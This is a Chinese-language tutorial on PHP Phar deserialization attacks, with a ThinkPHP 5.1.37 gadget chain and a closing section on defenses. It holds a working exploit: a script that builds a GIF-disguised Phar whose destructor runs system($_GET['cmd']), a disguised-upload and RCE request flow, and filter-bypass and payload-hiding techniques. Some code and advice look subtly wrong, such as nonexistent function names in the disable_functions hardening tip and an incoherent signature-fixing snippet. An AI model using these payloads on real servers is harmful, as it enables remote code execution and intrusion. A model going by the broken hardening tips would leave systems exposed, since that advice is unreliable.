PHP Phar反序列化漏洞深度解析:从原理到ThinkPHP 5.1.37实战
1. 漏洞背景与核心原理
Phar(PHP Archive)是PHP中类似JAR的打包格式,自PHP 5.3起默认支持。这种机制允许将多个PHP文件组合成单个归档文件,无需解压即可执行。但正是这种便利性,带来了严重的安全隐患。
漏洞核心在于:Phar文件会以序列化形式存储用户自定义的meta-data,当PHP解析phar://协议时,会自动反序列化这些数据。这意味着即使代码中没有直接调用unserialize(),只要存在文件操作函数配合phar://协议,就可能触发反序列化漏洞。
// 典型漏洞触发场景示例 file_get_contents('phar://malicious.phar/internal_file.txt');2. Phar文件结构深度剖析
一个完整的Phar文件包含四个关键部分:
Stub
文件标识头,格式为xxx<?php __HALT_COMPILER();?>,必须以__HALT_COMPILER()结尾。前面的内容可任意修改,这为绕过文件类型检测提供了可能。Manifest
存储压缩文件的元信息,包括:- 文件权限和属性
- 用户自定义的meta-data(序列化形式存储)
- CRC32校验值等
File Contents
实际压缩的文件内容Signature(可选)
文件签名,支持多种哈希算法
3. 漏洞利用条件与限制
必要条件:
- PHP版本5.3-8.0(PHP 8.0+已修复)
- 存在可上传Phar文件到服务器的途径
- 存在可利用的魔术方法(如__destruct、__wakeup)
- 文件操作函数的参数可控且未过滤特殊字符
影响函数列表:
| 函数类别 | 典型函数示例 |
|---|---|
| 文件检查 | file_exists、is_dir |
| 文件内容操作 | file_get_contents、file_put_contents |
| 压缩文件处理 | zip_open、zip_read |
| 图像处理 | exif_thumbnail、exif_imagetype |
4. 实战:ThinkPHP 5.1.37利用链构建
4.1 环境准备与Phar生成
首先确保php.ini配置:
phar.readonly = Off生成恶意Phar文件的典型代码:
<?php class Exploit { public function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 伪装为GIF $phar->setMetadata(new Exploit()); $phar->addFromString('test.txt', 'payload'); $phar->stopBuffering();4.2 ThinkPHP特定利用链
ThinkPHP 5.1.37中存在经典POP链:
think\process\pipes\Windows -> think\model\Pivot -> think\Model关键利用点:
- Windows类的
__destruct触发文件删除操作 - Pivot类继承Model,可控制
$data和$append属性 - Request类的
filter属性可导致命令执行
4.3 完整攻击流程
上传伪装文件
将生成的exploit.phar重命名为avatar.jpg上传触发反序列化
通过可控参数调用:file_get_contents('phar://path/to/avatar.jpg')RCE实现
构造请求:http://target.com/vuln.php?file=phar://upload/avatar.jpg&cmd=whoami
5. 高级绕过技术
5.1 协议前缀绕过
当phar://被过滤时,可尝试:
compress.zlib://phar:///path/to/file php://filter/resource=phar:///path/to/file5.2 文件签名绕过
通过修改文件签名部分,保持原始哈希有效:
# Python签名修复示例 import hashlib with open('modified.phar', 'rb') as f: content = f.read() signature = content[-28:-20] new_sig = hashlib.sha1(content[:-28]).digest() new_content = content[:-28] + new_sig + signature5.3 元数据隐藏技巧
将恶意数据隐藏在压缩文件注释中:
$zip = new ZipArchive(); $zip->open('exploit.zip', ZipArchive::CREATE); $zip->addFromString('test.txt', 'innocent'); $zip->setArchiveComment(serialize($maliciousObj)); $zip->close();6. 防御方案与最佳实践
开发人员防护:
- 禁用危险函数:
disable_functions = phar_open, phar_file - 严格过滤输入:
$allowed = ['jpg', 'png']; $ext = pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($ext, $allowed)) die('Invalid file'); - 使用最新PHP版本(≥8.0)
系统管理员建议:
- 配置open_basedir限制文件访问范围
- 定期更新Web应用框架
- 部署WAF规则拦截phar://等危险协议
7. 漏洞修复与版本影响
PHP版本修复情况:
| PHP版本 | 修复状态 | 备注 |
|---|---|---|
| <5.3 | 不受影响 | 不支持Phar扩展 |
| 5.3-7.4 | 受影响 | 需手动修复 |
| ≥8.0 | 已修复 | 默认禁用meta-data反序列化 |
对于必须使用旧版本的环境,建议:
// 在代码中主动检查Phar文件 if (preg_match('/^phar:/i', $filepath)) { throw new Exception('Phar protocol not allowed'); }8. 实战经验与调试技巧
调试技巧:
- 使用xdebug跟踪反序列化过程
- 查看PHP错误日志定位问题
- 通过
phar://协议直接查看Phar内容:print_r(new Phar('exploit.phar'));
常见踩坑点:
- Windows系统路径需要使用
phar://C:/path格式 - 文件权限问题导致Phar无法读取
- 魔术方法触发顺序不符合预期
在实际渗透测试中,曾遇到一个案例:通过CMS的模板上传功能,将Phar文件伪装为CSS文件上传,最终利用file_exists()检查触发RCE。这种组合利用方式往往能绕过常规防护。